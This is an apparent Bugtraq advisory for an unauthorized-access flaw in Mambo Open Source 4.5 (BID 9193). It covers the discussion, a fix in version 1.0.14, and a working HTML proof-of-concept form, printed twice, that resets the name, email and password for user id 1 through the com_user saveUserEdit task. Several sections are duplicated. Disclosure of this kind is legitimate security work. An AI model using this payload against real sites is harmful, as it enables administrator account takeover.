Mambo Server user.php Script Unauthorized Access Vulnerability
BID:9193
Info
Mambo Server user.php Script Unauthorized Access Vulnerability
| Bugtraq ID: | 9193 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 10 2003 12:00AM |
| Updated: | Dec 10 2003 12:00AM |
| Credit: | The disclosure of this issue has been credited to frog-m@n <[email protected]>. |
| Vulnerable: |
Mambo Mambo Open Source 4.5 (1.0.3beta) |
| Not Vulnerable: | |
Discussion
Mambo Server user.php Script Unauthorized Access Vulnerability
It has been reported that Mambo Server may be prone to an unauthorized access vulnerability that may allow an attacker to modify a user and/or an administrator's information such as password, email, name etc, after supplying a legitimate user id.
Mambo Server version 4.5 Beta 1.0.3 has been reported to be vulnerable to this issue, however other versions could be affected as well.
It has been reported that Mambo Server may be prone to an unauthorized access vulnerability that may allow an attacker to modify a user and/or an administrator's information such as password, email, name etc, after supplying a legitimate user id.
Mambo Server version 4.5 Beta 1.0.3 has been reported to be vulnerable to this issue, however other versions could be affected as well.
Exploit / POC
Mambo Server user.php Script Unauthorized Access Vulnerability
The following proof of concept has been provided:
<html>
<head></head>
<body>
<form action="http://www.example.com/index.php" method="post">
New Name : <inputtype="text" name="name" value=""><br>
New E-mail : <input type="text" name="email" value="" size="30"><br>
New UserName : <input type="text" name="username" value=""><br>
New Password : <input type="password" name="password" value=""><br>
Verfiy New Pass : <input type="password" name="verifyPass"><br>
ID : <input type="text" name="id" value="1"><br>
<input type="hidden" name="option" value="com_user">
<input type="hidden" name="task" value="saveUserEdit">
<input type="submit" name="submit" value="Update"><br>
</form>
</body>
</html>
The following proof of concept has been provided:
<html>
<head></head>
<body>
<form action="http://www.example.com/index.php" method="post">
New Name : <inputtype="text" name="name" value=""><br>
New E-mail : <input type="text" name="email" value="" size="30"><br>
New UserName : <input type="text" name="username" value=""><br>
New Password : <input type="password" name="password" value=""><br>
Verfiy New Pass : <input type="password" name="verifyPass"><br>
ID : <input type="text" name="id" value="1"><br>
<input type="hidden" name="option" value="com_user">
<input type="hidden" name="task" value="saveUserEdit">
<input type="submit" name="submit" value="Update"><br>
</form>
</body>
</html>
Solution / Fix
Mambo Server user.php Script Unauthorized Access Vulnerability
Solution:
The vendor has released Mambo 4.5 Beta 1.0.14 to address this issues. Please contact the vendor for more information.
Solution:
The vendor has released Mambo 4.5 Beta 1.0.14 to address this issues. Please contact the vendor for more information.
References
Mambo Server user.php Script Unauthorized Access Vulnerability
References:
References:
- [SCSA-023] Multiple vulnerabilities in Mambo Server ("Security Corporation Security Advisory"